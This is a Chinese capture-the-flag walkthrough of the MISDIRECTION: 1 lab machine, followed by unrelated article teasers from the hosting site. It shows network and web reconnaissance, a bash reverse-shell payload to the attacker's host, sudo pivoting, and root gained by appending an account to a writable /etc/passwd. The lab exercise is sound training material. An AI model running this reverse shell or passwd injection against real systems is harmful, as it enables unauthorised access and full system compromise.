红队打靶练习:MISDIRECTION: 1

信息收集

1、arp
┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.12.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.12.1    00:50:56:c0:00:08       VMware, Inc.
192.168.12.2    00:50:56:ec:d1:ca       VMware, Inc.
192.168.12.147  00:50:56:2b:59:b0       VMware, Inc.
192.168.12.254  00:50:56:e0:37:90       VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.346 seconds (109.12 hosts/sec). 4 responded

2、netdiscover
netdiscover -r 192.168.12.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.12.1    00:50:56:c0:00:08      4     240  VMware, Inc.
 192.168.12.2    00:50:56:ec:d1:ca      1      60  VMware, Inc.
 192.168.12.147  00:50:56:2b:59:b0      1      60  VMware, Inc.
 192.168.12.254  00:50:56:e0:37:90      1      60  VMware, Inc.


3、nmap
端口探测

┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.12.147 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-28 17:11 CST
Nmap scan report for 192.168.12.147
Host is up (0.0012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:50:56:36:4D:9A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

┌──(root㉿ru)-[~/kali]
└─# cat port.nmap | head -n 9 | tail -n 4 | awk '{print $1}' | awk -F "/" '{print $1}' | xargs -n 4 | sed 's/ /,/g'
22,80,3306,8080


信息探测

┌──(root㉿ru)-[~/kali]
└─# nmap -sVC -O -p 22,80,3306,8080 192.168.12.147 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-28 17:15 CST
Nmap scan report for 192.168.12.147
Host is up (0.00024s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ec:bb:44:ee:f3:33:af:9f:a5:ce:b5:77:61:45:e4:36 (RSA)
|   256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_  256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp   open  http    Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-server-header: Rocket 1.2.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:50:56:36:4D:9A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.85 seconds


4、whatweb
┌──(root㉿ru)-[~/kali]
└─# whatweb http://192.168.12.147
http://192.168.12.147 [200 OK] Cookies[session_id_init], Country[RESERVED][ZZ], HTTPServer[Rocket 1.2.6 Python/2.7.15rc1], HttpOnly[session_id_init], IP[192.168.12.147], JQuery, Meta-Author[Massimo Di pierro], Python[2.7.15rc1], Script[text/javascript], Web2py[web2py], X-Powered-By[web2py], X-UA-Compatible[IE=edge]

5、nikto
┌──(root㉿ru)-[~/kali]
└─# nikto -h 192.168.12.147
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.12.147
+ Target Hostname:    192.168.12.147
+ Target Port:        80
+ Start Time:         2023-12-28 17:18:58 (GMT8)
---------------------------------------------------------------------------
+ Server: Rocket 1.2.6 Python/2.7.15rc1
+ /: RFC-1918  IP address found in the 'session_id_init' cookie. The IP is "192.168.12.128".
+ /: Retrieved x-powered-by header: web2py.
+ RFC-1918 /: IP address found in the 'set-cookie' header. The IP is "192.168.12.128". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /jgF0uhHe.php4: Uncommon header 'web2py_error' found, with contents: invalid path.
+ : Server banner changed from 'Rocket 1.2.6 Python/2.7.15rc1' to 'Apache/2.4.29 (Ubuntu)'.
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-12-28 17:20:30 (GMT8) (92 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

80端口信息探测


经过探测,80端口没啥用

8080端口信息探测

目录探测
┌──(root㉿ru)-[~/kali]
└─# gobuster dir -u http://192.168.12.147:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.12.147:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 324] [--> http://192.168.12.147:8080/images/]
/help                 (Status: 301) [Size: 322] [--> http://192.168.12.147:8080/help/]
/scripts              (Status: 301) [Size: 325] [--> http://192.168.12.147:8080/scripts/]
/css                  (Status: 301) [Size: 321] [--> http://192.168.12.147:8080/css/]
/wordpress            (Status: 301) [Size: 327] [--> http://192.168.12.147:8080/wordpress/]
/development          (Status: 301) [Size: 329] [--> http://192.168.12.147:8080/development/]
/manual               (Status: 301) [Size: 324] [--> http://192.168.12.147:8080/manual/]
/js                   (Status: 301) [Size: 320] [--> http://192.168.12.147:8080/js/]
/shell                (Status: 301) [Size: 323] [--> http://192.168.12.147:8080/shell/]
/debug                (Status: 301) [Size: 323] [--> http://192.168.12.147:8080/debug/]
/server-status        (Status: 403) [Size: 281]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================



┌──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.12.147:8080 -e*
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594

Output File: /root/kali/reports/http_192.168.12.147_8080/_23-12-29_11-20-50.txt

Target: http://192.168.12.147:8080/

[11:20:50] Starting:
[11:20:50] 301 -  320B  - /js  ->  http://192.168.12.147:8080/js/
[11:21:04] 301 -  321B  - /css  ->  http://192.168.12.147:8080/css/
[11:21:04] 200 -    3KB - /debug/
[11:21:04] 301 -  323B  - /debug  ->  http://192.168.12.147:8080/debug/
[11:21:05] 200 -  408B  - /development/
[11:21:08] 301 -  322B  - /help  ->  http://192.168.12.147:8080/help/
[11:21:08] 200 -  407B  - /help/
[11:21:08] 301 -  324B  - /images  ->  http://192.168.12.147:8080/images/
[11:21:08] 200 -  408B  - /images/
[11:21:09] 200 -  407B  - /js/
[11:21:11] 301 -  324B  - /manual  ->  http://192.168.12.147:8080/manual/
[11:21:18] 200 -  407B  - /scripts/
[11:21:18] 301 -  325B  - /scripts  ->  http://192.168.12.147:8080/scripts/
[11:21:18] 301 -  323B  - /shell  ->  http://192.168.12.147:8080/shell/
[11:21:18] 200 -  408B  - /shell/
[11:21:26] 200 -    4KB - /wordpress/
[11:21:26] 200 -    1KB - /wordpress/wp-login.php

Task Completed

web探测


在8080端口的debug目录下找到关键线索!



在网站目录下找到了wordpress的登陆账号和密码!

blog  :  abcdefghijklmnopqrstuv

反弹shell



直接反弹shell

payload

/bin/bash -c 'bash -i >&/dev/tcp/192.168.12.128/5656 0>&1'


提权

系统信息收集
www-data@misdirection:/home/brexit$ sudo -l
sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on localhost:
    (brexit) NOPASSWD: /bin/bash
www-data@misdirection:/home/brexit$ sudo -u brexit /bin/bash
sudo -u brexit /bin/bash
id
uid=1000(brexit) gid=1000(brexit) groups=1000(brexit),24(cdrom),30(dip),46(plugdev),108(lxd)
ls
start-vote.sh
user.txt
web2py
cat user.txt
404b9193154be7fbbc56d7534cb26339

发现sudo -l 可以进行提权到用户brexit ,并且找到了第一个flag!

brexit@misdirection:~$ ls -al
ls -al
total 60
drwxr-xr-x  6 brexit brexit 4096 Jun  1  2019 .
drwxr-xr-x  3 root   root   4096 Jun  1  2019 ..
-rw-------  1 brexit brexit    0 Jun  1  2019 .bash_history
-rw-r--r--  1 brexit brexit  220 Apr  4  2018 .bash_logout
-rw-r--r--  1 brexit brexit 3771 Apr  4  2018 .bashrc
drwx------  3 brexit brexit 4096 Jun  1  2019 .cache
drwx------  3 brexit brexit 4096 Jun  1  2019 .gnupg
drwxrwxr-x  3 brexit brexit 4096 Jun  1  2019 .local
-rw-r--r--  1 brexit brexit  807 Apr  4  2018 .profile
-rw-rw-r--  1 brexit brexit   66 Jun  1  2019 .selected_editor
-rw-------  1 brexit brexit 9346 Jun  1  2019 .viminfo
-rwxrwxr-x  1 brexit brexit   90 Jun  1  2019 start-vote.sh
-r--r-----  1 brexit brexit   33 Jun  1  2019 user.txt
drwxrwxr-x 16 brexit brexit 4096 Dec 28 09:11 web2py
brexit@misdirection:~$

brexit@misdirection:~$ ls -al /etc/passwd /etc/shadow
ls -al /etc/passwd /etc/shadow
-rwxrwxr-- 1 root brexit 1617 Jun  1  2019 /etc/passwd
-rw-r----- 1 root shadow 1053 Jun  1  2019 /etc/shadow



从/etc/passwd 权限来看,我们可以直接写入一个具有root权限的账号即可提权!

本地提权
┌──(root㉿ru)-[~/kali]
└─# openssl passwd -1 -salt hack hack > hash.txt

┌──(root㉿ru)-[~/kali]
└─# cat hash.txt
$1$hack$xR6zsfvpez/t8teGRRSNr.

┌──(root㉿ru)-[~/kali]
└─# hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash

首先使用openssl生成一个账号密码!

然后按照格式进行拼接!

brexit@misdirection:~$ echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash' >> /etc/passwd
<8teGRRSNr.:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:~$ su hack
su hack
Password: hack

root@misdirection:/home/brexit# whoami
whoami
root
root@misdirection:/home/brexit#

get root and flag
root@misdirection:/home/brexit# cd /root
cd /root
root@misdirection:~# ls
ls
root.txt
root@misdirection:~# cat root.txt
cat root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c
root@misdirection:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/277339.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【计算机毕业设计】SSM在线宿舍管理系统

项目介绍 本项目包含管理员、宿舍管理员、学生三种角色&#xff1b; 管理员角色包含以下功能&#xff1a; 管理员登录,院系管理,专业管理,年级管理,班级管理,学生设置,宿舍管理员管理,宿舍楼管理,宿舍管理,床位管理,学生入住登记,学生退房管理等功能。 宿舍管理员角色包含以…

如何在 Linux 中配置 firewalld 规则

什么是FirewallD “firewalld”是firewall daemon。它提供了一个动态管理的防火墙&#xff0c;带有一个非常强大的过滤系统&#xff0c;称为 Netfilter&#xff0c;由 Linux 内核提供。 FirewallD 使用zones和services的概念&#xff0c;而 iptables 使用chain和rules。与 ip…

LabVIEW的便携式车辆振动测试分析

随着计算机和软件技术的发展&#xff0c;虚拟仪器正逐渐成为机械工业测试领域的主流。在现代机械工程中&#xff0c;特别是车辆振动测试&#xff0c;传统的测试方法不仅设备繁杂、成本高昂&#xff0c;而且操作复杂。为解决这些问题&#xff0c;开发了一款基于美国国家仪器公司…

【React】echarts-for-react 的使用

文章目录 echarts-for-react &#xff1a;一个简单的 Apache echarts 的 React 封装配置项手册&#xff1a;https://echarts.apache.org/zh/option.html#title 安装依赖 $ npm install --save echarts-for-react# echarts 是 echarts-for-react的对等依赖,您可以使用自己的版本…

新能源汽车冷却系统的水道管口类型有哪些?格雷希尔针对这些管口密封的快速接头有哪些?

对于新能源汽车&#xff0c;不仅电池&#xff0c;还有电机、电控、充电单元部件&#xff0c;都需要处于适宜的工作温度&#xff0c;才能维持整车的正常运行。而这些部件在运行过程中会产生大量的热量&#xff0c;如果不及时散热会对汽车的性能、寿命产生影响&#xff0c;甚至可…

基于ssm西安旅游管理系统论文

摘 要 在如今社会上&#xff0c;关于信息上面的处理&#xff0c;没有任何一个企业或者个人会忽视&#xff0c;如何让信息急速传递&#xff0c;并且归档储存查询&#xff0c;采用之前的纸张记录模式已经不符合当前使用要求了。所以&#xff0c;对西安旅游信息管理的提升&#x…

基于element-ui table组件的二次封装

文章目录 配置数据基础分析封装 el-table-column使用插槽强化结语 相信 element-ui 大家都有所耳闻&#xff0c;table 也是老朋友了&#xff0c;不过有没有在使用他的时候&#xff0c;大家是怎么使用的呢&#xff1f;是直接在官网上cv使用吗&#xff1f;这种方式&#xff0c;我…

2023启示录丨自动驾驶这一年

图片&#xff5c;《老人与海》插图 过去的20年&#xff0c;都没有2023年如此动荡。 大模型犹如一颗原子弹投入科技圈&#xff0c;卷起万里尘沙&#xff0c;传统模式瞬间被夷为平地&#xff0c;在耀眼的白光和巨大的轰鸣声之下&#xff0c;大公司、创业者、投资人甚至是每一位观…

裕泰微YT8521SH PHY芯片在uboot下的代码适配(一)

文章目录 支持的工作模式自协商模式下改变 PHY 支持的速度和双工能力 RGMII 配置通过 POS 设置 RX_delay通过寄存器加长 RX_delayTX_delay 的设置驱动能力的设置 LED 灯配置硬件电路设计相关问题快速上下电的要求上电复位时序要求 YT8521SC/SH 是一款单口千兆以太网 PHY。 支持…

OSPF ROUTER-ID-新版(15)

目录 整体拓扑 操作步骤 1.INT 验证Router-ID选举规则 1.1 查看路由器Router-ID 1.2 配置R1地址 1.3 查看R1接口信息 1.4 查看R1Router-ID 1.5 删除接口IP并查看Router-ID 1.6 手工配置Router-ID 2.基本配置 2.1 配置R1的IP 2.2 配置R2的IP 2.3 配置R3的IP 2.4 配…

数据库管理-第128期 2023总结(202301229)

数据库管理-第128期 2023总结&#xff08;202301229&#xff09; 到了2023年的最后一个工作日&#xff0c;也该对即将过去的2023年做一个小小的总结&#xff1a; 1 写文章 2023年在CSDN总共写了82篇文章。 2023年4月开始在墨天轮写文章&#xff0c;总共写了75篇文章&#xf…

电子工程师如何接私活赚外快?

对电子工程师来说&#xff0c;利用业余时间接私活是个很常见的技术&#xff0c;不仅可以赚取额外收入&#xff0c;也能提升巩固技术&#xff0c;可以说国内十个工程师&#xff0c;必有五个在接私活养家糊口&#xff0c;如果第一次接私活&#xff0c;该如何做&#xff1f; 很多工…

基于Springboot+vue医院管理系统(前后端分离)

最近有一些读者问我有没有完整的基于SpringbootVue的项目源码&#xff0c;今天给大家整理了一下&#xff0c;无偿分享给大家。 功能&#xff1a; 医生信息管理 换着信息管理 挂号信息管理 药物信息管理 检查项目管理 病床信息管理 排班信息管理 数据统计分析 开发工具…

基于低代码的指尖遐想_1

解决问题或分析事务的思考方法&#xff1a; 1、什么是低代码&#xff0c;或者说现在的低代码能做什么&#xff0c;未来能做什么&#xff0c;其存在的合理性是什么&#xff1f; 回答这个问题的本质是搜集信息&#xff0c;公开的或非公开的。 答&#xff1a;低代码主要分为广义…

视频号三年:质疑红利,理解红利,抄底红利

“去年刚进来时&#xff0c;视频号带货配套都还不成熟&#xff0c;团队都不熟悉后台操作&#xff0c;硬是磨合了一个多月&#xff0c;也做好了亏钱的准备。不过前两天刚算了帐&#xff0c;今年 GMV 已经比去年翻了两番。” “22年想靠投流起号&#xff0c;但每次投流计划基本消…

地震烈度速报与预警工程成功案例的经验分享 | TDengine 技术培训班第一期成功落地

近日&#xff0c;涛思数据在成都开设了“国家地震烈度速报与预警工程数据库 TDengine、消息中间件 TMQ 技术培训班”&#xff0c;这次培训活动共分为三期&#xff0c;而本次活动是第一期。其目标是帮助参与者深入了解 TDengine 和 TMQ 的技术特点和应用场景&#xff0c;并学习如…

geemap学习笔记037:分析地理空间数据--坐标格网和渔网

前言 坐标格网&#xff08;Coordinate Grid&#xff09;简称“坐标网”&#xff0c;是按一定纵横坐标间距&#xff0c;在地图上划分的格网&#xff0c;坐标网是任何地图上不可缺少的要素之一。下面将详细介绍一下坐标格网和渔网。 1 导入库并显示地图 import ee import geem…

node 项目中 __dirname / __filename 是什么,为什么有时候不能用?

__dirname 是 Node.js 中的一个特殊变量&#xff0c;表示当前执行脚本所在的目录的绝对路径。 __filename 同理&#xff0c;是 Node.js 中的一个特殊变量&#xff0c;表示当前执行脚本的绝对路径&#xff0c;包括文件名。 在 Node.js 中&#xff0c;__dirname / __filename是…

springboot系列——IDEA创建项目并运行

springboot Spring Boot是为了简化Spring应用程序的开发和部署而产生的。 Spring Boot提供了一种基于约定优于配置的开发模式。它自动配置了Spring应用程序所需的各种组件和依赖&#xff0c;并提供了简单易用的命令行工具来构建和运行应用程序。 Spring Boot还提供了一套开箱…

SeaTunnel流处理同步MySQL数据至ClickHouse

ClickHouse是一种OLAP类型的列式数据库管理系统&#xff0c;ClickHouse完美的实现了OLAP和列式数据库的优势&#xff0c;因此在大数据量的分析处理应用中ClickHouse表现很优秀。 SeaTunnel是一个分布式、高性能、易扩展、用于海量数据同步和转化的数据集成平台。用户只需要配置…